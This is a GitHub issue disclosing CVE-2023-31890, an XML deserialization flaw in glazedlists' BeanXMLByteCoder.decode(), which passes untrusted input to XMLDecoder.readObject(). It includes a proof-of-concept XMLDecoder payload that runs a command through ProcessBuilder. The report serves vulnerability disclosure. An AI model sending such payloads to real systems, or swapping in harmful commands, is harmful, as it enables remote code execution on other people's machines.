CVE-2023-31890: XML Deserialization vulnerability in BeanXMLByteCoder · Issue #709 · glazedlists/glazedlists

vulnerability location: ca.odell.glazedlists.impl.io.BeanXMLByteCoder

BeanXMLByteCoder class provides decode() method to decode the Object from a InputStream.

When the decode() method is called, the program will call XMLDecoder.readObject() to parse the XML string without any check, which causing a XML Deserialization vulnerability.

ca.odell.glazedlists.impl.io.BeanXMLByteCoder#decode

attack payload:

<java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"><string>calc</string></void> </array> <void method="start"></void> </object> </java>

use a little program to test.

os: windows 10
jdk: 1.8.0_111
glazedlists: 1.11.0